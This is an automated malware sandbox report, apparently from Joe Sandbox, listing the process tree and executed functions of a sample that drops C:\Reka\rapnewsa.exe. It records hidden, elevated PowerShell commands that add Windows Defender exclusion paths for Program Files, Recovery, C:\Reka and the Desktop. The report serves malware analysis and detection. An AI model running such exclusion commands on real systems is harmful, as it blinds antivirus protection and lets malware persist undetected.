Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:06:09
Start date:	27/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:06:19
Start date:	27/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:06:19
Start date:	27/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:06:30
Start date:	27/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:06:30
Start date:	27/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:06:41
Start date:	27/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:06:41
Start date:	27/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	07:06:52
Start date:	27/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Reka'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:06:52
Start date:	27/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:07:02
Start date:	27/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\Desktop'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	07:07:02
Start date:	27/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:07:20
Start date:	27/08/2024
Path:	C:\Reka\rapnewsa.exe
Wow64 process (32bit):	true
Commandline:	C:\Reka\rapnewsa.exe
Imagebase:	0x2c0000
File size:	38'912 bytes
MD5 hash:	2D4E723C184D9403B078E53F2DE74A23
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 16%, ReversingLabs Detection: 24%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	07:07:27
Start date:	27/08/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 8032 -s 122888
Imagebase:	0xbc0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	14.2%
Dynamic/Decrypted Code Coverage:	99.7%
Signature Coverage:	3.7%
Total number of Nodes:	1128
Total number of Limit Nodes:	60

Executed Functions

Function 09858238 Relevance: 8.5, Strings: 6, Instructions: 951
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X, xrefs: 0985880D
K, xrefs: 09858DAD
i, xrefs: 0985885A
(, xrefs: 09858979
K, xrefs: 09858C83
2, xrefs: 09858AE5

Memory Dump Source

Source File: 00000000.00000002.3556650373.0000000009850000.00000040.00000800.00020000.00000000.sdmp, Offset: 09850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9850000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID: ($2$K$K$X$i
API String ID: 0-301893868
Opcode ID: 75baa17088d94a3ece6fa7f35ea3a1ba1398a164f58fa30c6b429967e2f23b4a
Instruction ID: 23018425eeca844e4b5fa1667035669f583605202057a4e31a16614f58ce4e96
Opcode Fuzzy Hash: 75baa17088d94a3ece6fa7f35ea3a1ba1398a164f58fa30c6b429967e2f23b4a
Instruction Fuzzy Hash: A8A20A30A10705CFC725EF78C854AA9B7B2FF8A305F5189ADD54AAB360DB31A985CF41

Function 09858248 Relevance: 8.4, Strings: 6, Instructions: 948
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X, xrefs: 0985880D
K, xrefs: 09858DAD
i, xrefs: 0985885A
(, xrefs: 09858979
K, xrefs: 09858C83
2, xrefs: 09858AE5

Memory Dump Source

Source File: 00000000.00000002.3556650373.0000000009850000.00000040.00000800.00020000.00000000.sdmp, Offset: 09850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9850000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID: ($2$K$K$X$i
API String ID: 0-301893868
Opcode ID: 8352642f65f36a33beb4c2a4c98613effc4f31449f93bcc92705466f7546a769
Instruction ID: ef5c9ee10e3938141d450f63673b66f9c3ae41ef26908cdec8f36e0041a7a536
Opcode Fuzzy Hash: 8352642f65f36a33beb4c2a4c98613effc4f31449f93bcc92705466f7546a769
Instruction Fuzzy Hash: 42A21A30A10705CFC725EF78C854AA9B7B2FF8A305F5189ADD54AAB360DB31A985CF41

Function 0AD1B821 Relevance: 2.7, Strings: 2, Instructions: 210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Huq, xrefs: 0AD1B975
, xrefs: 0AD1B89C

Memory Dump Source

Source File: 00000000.00000002.3557744285.000000000AD10000.00000040.00000800.00020000.00000000.sdmp, Offset: 0AD10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad10000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID: $Huq
API String ID: 0-334792489
Opcode ID: 1e927957361bb66e22b3c77f36d52617031f7ecac473055c806081d17eea27c5
Instruction ID: 0cf34af12d47bc129ad7a181b1b72b2df1bfedbc017082c07b0b9317a7152abd
Opcode Fuzzy Hash: 1e927957361bb66e22b3c77f36d52617031f7ecac473055c806081d17eea27c5
Instruction Fuzzy Hash: BA718271E00215AFDB14DF79D4845AFBBF6EF88300B15842AE415EB350EB31D905CBA5

Function 0B3A1593 Relevance: 2.0, Strings: 1, Instructions: 701
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fff?, xrefs: 0B3A1C07

Memory Dump Source

Source File: 00000000.00000002.3559158420.000000000B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b3a0000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID: fff?
API String ID: 0-4136771917
Opcode ID: 973365fd73a03ce86a0c38a4e9a7a0a34a4627b838050ed60aff00dcaefdb274
Instruction ID: 43ce6e29a7f9d147f68ebe308bf9050434abcf8a8cd377bfc98d405c5486c714
Opcode Fuzzy Hash: 973365fd73a03ce86a0c38a4e9a7a0a34a4627b838050ed60aff00dcaefdb274
Instruction Fuzzy Hash: D6621932810A1ADBCF11DF50C884AD9BBB2FF99304F1586D5E9087B125EB71AAD5CF80

Function 0B3A0920 Relevance: .6, Instructions: 635COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3559158420.000000000B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b3a0000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99d240c8b839f70ae3916e6b0b93592726cd67c8645f2ab43cf2fee0da44d622
Instruction ID: 82195afdd907a268b62e44e25e26869a545fb9044cd0000296d852f9b6c4b4c3
Opcode Fuzzy Hash: 99d240c8b839f70ae3916e6b0b93592726cd67c8645f2ab43cf2fee0da44d622
Instruction Fuzzy Hash: 85523B35910619CFCB25DF64C854AE9BBB5FF89304F2485D9E409AB261EB35EAC2CF40

Function 0B3A46C3 Relevance: .5, Instructions: 517COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3559158420.000000000B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b3a0000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d94f909caf62115ef723651f75c416bcfb5abece35cc4e43f73ea7e2304c3ded
Instruction ID: e9cdae8c03c9c86ee999ef84656ddd41367745dd1b6f4af4473e7c94c8ec17ac
Opcode Fuzzy Hash: d94f909caf62115ef723651f75c416bcfb5abece35cc4e43f73ea7e2304c3ded
Instruction Fuzzy Hash: 75321531910619CFCB21DF64C984BD9B7B2FF89304F2585E9E409AB261EB75EA85CF40

Function 0AD185B7 Relevance: .4, Instructions: 366COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3557744285.000000000AD10000.00000040.00000800.00020000.00000000.sdmp, Offset: 0AD10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad10000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea454bdd7c27eb3970d21ddd44228b2022fbb573502803ff2b429e585479642
Instruction ID: e17e94f1a87d168e0c70bd795b1a84c6e3fabc83581be5a78ff96392482e4ab7
Opcode Fuzzy Hash: 8ea454bdd7c27eb3970d21ddd44228b2022fbb573502803ff2b429e585479642
Instruction Fuzzy Hash: 01E15D30A00205EFDB14DFA9D988BADBBF2FF84304F568568E405AB265DB70E945DF90

Function 098504C4 Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556650373.0000000009850000.00000040.00000800.00020000.00000000.sdmp, Offset: 09850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9850000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe246c1fbb0a68a295ae65f8b29cf76d36976540974ca3ff5f699dc81cb19f86
Instruction ID: d726211832e8a0a5b89377a3f4ed84ca9e1f11ee7cb8c77eadc0c9038e750b7f
Opcode Fuzzy Hash: fe246c1fbb0a68a295ae65f8b29cf76d36976540974ca3ff5f699dc81cb19f86
Instruction Fuzzy Hash: 1CA17E75E003199FCF04DFA4D8449DDBBBAFF99310F148619E81AAB365DB30A985CB50

Function 09852C10 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3556650373.0000000009850000.00000040.00000800.00020000.00000000.sdmp, Offset: 09850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9850000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68885a435f6d961c2a28f6c786988695e821c152c9181b20c78f27370dabde3f
Instruction ID: ebf3728fdf38987dd8987fa74821744e88843a00b07316aa5c84dde6cdc9680a
Opcode Fuzzy Hash: 68885a435f6d961c2a28f6c786988695e821c152c9181b20c78f27370dabde3f
Instruction Fuzzy Hash: FD919035E0031A9FCF05DFA0D8449DDBBBAFF99310B158219E816AF365EB30A985CB50

Function 09850040 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000037,00000000,00000000,06D64108,05D99AA8,?,00000000,?,00000000,00000000), ref: 098501F7

Strings

Huq, xrefs: 098500E0

Memory Dump Source

Source File: 00000000.00000002.3556650373.0000000009850000.00000040.00000800.00020000.00000000.sdmp, Offset: 09850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9850000_UBONg7lmVR.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID: Huq
API String ID: 2492992576-93357626
Opcode ID: 6b201e4f13d252c37e2dc2e4c119ff600c5720a80fe002d259698bfcef319798
Instruction ID: b48bfbe6d46221ca56163c1ed093c136bdbf6edd4f33e003000f3ae135a14eb2
Opcode Fuzzy Hash: 6b201e4f13d252c37e2dc2e4c119ff600c5720a80fe002d259698bfcef319798
Instruction Fuzzy Hash: 6F515E343006108FDB19EF38C458B2E77A7BFC5B10B1585A9E40ACB3A1CF65EC469BA5

Function 09891858 Relevance: 2.7, Strings: 2, Instructions: 212
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Huq, xrefs: 09891986
Huq, xrefs: 09891920

Memory Dump Source

Source File: 00000000.00000002.3556875062.0000000009890000.00000040.00000800.00020000.00000000.sdmp, Offset: 09890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9890000_UBONg7lmVR.jbxd

Similarity

API ID:
String ID: Huq$Huq
API String ID: 0-820920211
Opcode ID: 74dff41531005cd7cd7b445447c621573184c9ddb61410409226e34b3a5b11a7
Instruction ID: 48759a4b3a9b6b15612d7f1d02ca89fbfdf1982aa38441dbf2e1addd3b6b89d7
Opcode Fuzzy Hash: 74dff41531005cd7cd7b445447c621573184c9ddb61410409226e34b3a5b11a7
Instruction Fuzzy Hash: 73814A74E143598FDF04DFA9C8586AEBBF2BF88300F14852AE409EB354DB749905CBA1

Function 0B3AAFD8 Relevance: 1.7, APIs: 1, Instructions: 234COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000000,?), ref: 0B3AB245

Memory Dump Source

Source File: 00000000.00000002.3559158420.000000000B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b3a0000_UBONg7lmVR.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 6bcfa8d31db6be55935de682509a09a86a61702e640fdf0259e3a5a299c207b1
Instruction ID: 66d5c44ace35d46e034c249b060af0e55e5026d49ea02fb4c1ee4613620281b5
Opcode Fuzzy Hash: 6bcfa8d31db6be55935de682509a09a86a61702e640fdf0259e3a5a299c207b1
Instruction Fuzzy Hash: BA9159B0A002458FDB14DFA9C984BABBBF5EF88300F258499E815EB252D734E945CB61

Function 05B4BD4F Relevance: 1.7, APIs: 1, Instructions: 206COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 05B4BFB6

Memory Dump Source

Source File: 00000000.00000002.3547802672.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b40000_UBONg7lmVR.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 696021ab40489d0cadfd8f035e832084e573183dd9eae78fb29999be06c24958
Instruction ID: ce68b104ae6b432ef423782c421c7070258003dde00a3e9bef1257ea004e873e
Opcode Fuzzy Hash: 696021ab40489d0cadfd8f035e832084e573183dd9eae78fb29999be06c24958
Instruction Fuzzy Hash: B1812370A00B458FDB24DF29D444B6ABBF2FF88200F008A6DD28A9BA41D775F945CF91

Function 0B3AB090 Relevance: 1.6, APIs: 1, Instructions: 135COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000000,?), ref: 0B3AB245

Memory Dump Source

Source File: 00000000.00000002.3559158420.000000000B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b3a0000_UBONg7lmVR.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: f720b34995f5d61f3839e030bb183d43fd4712e58172b0e5ced11db6ecc19611
Instruction ID: 11374c6d0b9d363642d4e157b845270758b69798988e4cb985e4d1dfe33f852e
Opcode Fuzzy Hash: f720b34995f5d61f3839e030bb183d43fd4712e58172b0e5ced11db6ecc19611
Instruction Fuzzy Hash: 7B5108B4A002499FDB14DFA9C984BAEBBF9EF88300F258459E815EB351D734ED41CB61

Function 09852904 Relevance: 1.6, APIs: 1, Instructions: 129COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 09852A22

Memory Dump Source

Source File: 00000000.00000002.3556650373.0000000009850000.00000040.00000800.00020000.00000000.sdmp, Offset: 09850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9850000_UBONg7lmVR.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: e25dacfb15b795c299f58e4843f000295d8c00acea6247a7639349dad7dd0ea9
Instruction ID: 662a198ef6f1d37a80bcdd28cb6c14854ee6ff795aa827f0efef81c45e99cf2a
Opcode Fuzzy Hash: e25dacfb15b795c299f58e4843f000295d8c00acea6247a7639349dad7dd0ea9
Instruction Fuzzy Hash: 1D51D1B1D103499FDB15DF99D884ADEBBB5FF88310F64812AE819AB310DB71A845CF90

Function 09850470 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 09852A22

Memory Dump Source

Source File: 00000000.00000002.3556650373.0000000009850000.00000040.00000800.00020000.00000000.sdmp, Offset: 09850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9850000_UBONg7lmVR.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 2621b8fcc19513507b0d4ff8fedeca3924ec4f9432e16aaed95ca89b2a6c7033
Instruction ID: 47261d830e08b002416f36dd75432791238b8983fd854ab1be59a97de966db2e
Opcode Fuzzy Hash: 2621b8fcc19513507b0d4ff8fedeca3924ec4f9432e16aaed95ca89b2a6c7033
Instruction Fuzzy Hash: 1051BDB1D103499FDB15DF99C884ADEBBB5BF88310F24812AE819AB310DB75A945CF90

Function 098505C4 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 09854F91

Memory Dump Source

Source File: 00000000.00000002.3556650373.0000000009850000.00000040.00000800.00020000.00000000.sdmp, Offset: 09850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9850000_UBONg7lmVR.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: f4681f9099ebbcb7556163d1ee9a536e2eba70839f14e6c26da403a57dff4a7f
Instruction ID: e89e41cc77ef1187702278090f83d7848ca3e74cdd308bbad0bb8ea032693896
Opcode Fuzzy Hash: f4681f9099ebbcb7556163d1ee9a536e2eba70839f14e6c26da403a57dff4a7f
Instruction Fuzzy Hash: 1241F9B59003099FCB14DF99C448AAABBF5FF88314F24C45DE919A7321D775A885CFA0

Function 05B454FC Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 05B46D59

Memory Dump Source

Source File: 00000000.00000002.3547802672.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b40000_UBONg7lmVR.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: bebdb9f31cd5551d89c3d3f9afcae8e34bc23d5aaf625ce46b9bfe86a95c0786
Instruction ID: 06c64e0b416acb4502fe67d77e1b111acc7c6295020eaf0ba9f5f578d9bbd202
Opcode Fuzzy Hash: bebdb9f31cd5551d89c3d3f9afcae8e34bc23d5aaf625ce46b9bfe86a95c0786
Instruction Fuzzy Hash: 9241CFB0D00729CFDB24DFA9C845B9EBBB5BF49304F20806AD409AB251DB756949CF90

Function 05B46CA3 Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 05B46D59

Memory Dump Source

Source File: 00000000.00000002.3547802672.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b40000_UBONg7lmVR.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a886953c5d4831e314343df1656b685228ef52b4cb0b54207c99bfd4d8e625f8
Instruction ID: 6860ae1504d1d5571c5189aaa80e8afba80e2eff2180a1b6ae0dbdfca84c2c45
Opcode Fuzzy Hash: a886953c5d4831e314343df1656b685228ef52b4cb0b54207c99bfd4d8e625f8
Instruction Fuzzy Hash: BA41D2B0C00759CEDB24DFA9C845BDEBBF5BF49304F24806AD409AB251DB756949CF50

Function 05BD1053 Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,05BD0F5D,?,?), ref: 05BD100F

Memory Dump Source

Source File: 00000000.00000002.3547924034.0000000005BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bd0000_UBONg7lmVR.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 269b1560af63dfc1e63ff51ff4d4ea38733ebce7effbdf44cd5c0858f487f455
Instruction ID: b3706befddfbb41cf604f718fec9dd626ac276a86ee00f01ac8c3c5fb10ed3aa
Opcode Fuzzy Hash: 269b1560af63dfc1e63ff51ff4d4ea38733ebce7effbdf44cd5c0858f487f455
Instruction Fuzzy Hash: 56214A76D002089FDF14EF98D844ADEFBB5FF98314F14812AE919A7210E731A955CBA0

Function 05BD018C Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,05BD0F5D,?,?), ref: 05BD100F

Memory Dump Source

Source File: 00000000.00000002.3547924034.0000000005BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bd0000_UBONg7lmVR.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: a3273c2699b8d5542be6ccaf12fefc46674eace3e8c6eb86143a84eb587c6035
Instruction ID: 399a1bf6df67101604e5f8e837952dbdf133d0f194826cc63bf358ddb8ae4add
Opcode Fuzzy Hash: a3273c2699b8d5542be6ccaf12fefc46674eace3e8c6eb86143a84eb587c6035
Instruction Fuzzy Hash: FA31E2B59003499FDB10DF9AD884AAEFBF5FB48310F14842AE919A7310E774A944CFA4

Function 05BD0F73 Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,05BD0F5D,?,?), ref: 05BD100F

Memory Dump Source

Source File: 00000000.00000002.3547924034.0000000005BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bd0000_UBONg7lmVR.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 68402ae24925e724504ab6e37f6aceb0660a2d44684b94ead47bf6d81a625221
Instruction ID: ac4d7d3b93e506be08328afb6eecda794129e70e4f05c0051135edda3a4e032e
Opcode Fuzzy Hash: 68402ae24925e724504ab6e37f6aceb0660a2d44684b94ead47bf6d81a625221
Instruction Fuzzy Hash: FF31E0B5D012499FDB10DF9AD884AEEFBF5FB48310F24842EE819A7210D374A944CFA0

Function 05B4E358 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,05B4E326,?,?,?,?,?), ref: 05B4E3E7

Memory Dump Source

Source File: 00000000.00000002.3547802672.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b40000_UBONg7lmVR.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3664bdadca2656fabf5570a978f5ace454967ad307a2961e7ff05f622f2c64e3
Instruction ID: 36a59e6e9465f17e771dccef61ac1789e2f960e2c4bffd8ec36dbe4a75f13b1f
Opcode Fuzzy Hash: 3664bdadca2656fabf5570a978f5ace454967ad307a2961e7ff05f622f2c64e3
Instruction Fuzzy Hash: 502124B5800348AFDB11CFAAD984AEEBFF9FB48320F14845AE914A7311D335A944CF61

Function 05B4C3C8 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,05B4E326,?,?,?,?,?), ref: 05B4E3E7

Memory Dump Source

Source File: 00000000.00000002.3547802672.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b40000_UBONg7lmVR.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: f5d316fb1476576edd62cdaf993a14d772ce612c5a4bcb7e58ff1ecad21b2120
Instruction ID: bf6e7a1a329c74f3ee50d4979331efbc140139e5863ef451908506ee2828344e
Opcode Fuzzy Hash: f5d316fb1476576edd62cdaf993a14d772ce612c5a4bcb7e58ff1ecad21b2120
Instruction Fuzzy Hash: 442116B59003489FDB11CFAAD885ADEFBF9FB48310F10805AE915A7310D374A950DFA5

Function 0B3AAE70 Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?), ref: 0B3AAEE9

Memory Dump Source

Source File: 00000000.00000002.3559158420.000000000B3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b3a0000_UBONg7lmVR.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 82dccc379e7f1aeca3f6ba1f5e7c9cb3cd1f934c8825927098d5175c185d76b8
Instruction ID: 57a8b97df5fd41b9d3708184b535a9326f180e43282de0e86a0ad06c861fdb4c
Opcode Fuzzy Hash: 82dccc379e7f1aeca3f6ba1f5e7c9cb3cd1f934c8825927098d5175c185d76b8
Instruction Fuzzy Hash: E72115B19002598FDB14DFAAC885BEEFBF5FB88320F24842AD415A7250D778A945CF61

Function 0B3A8870 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

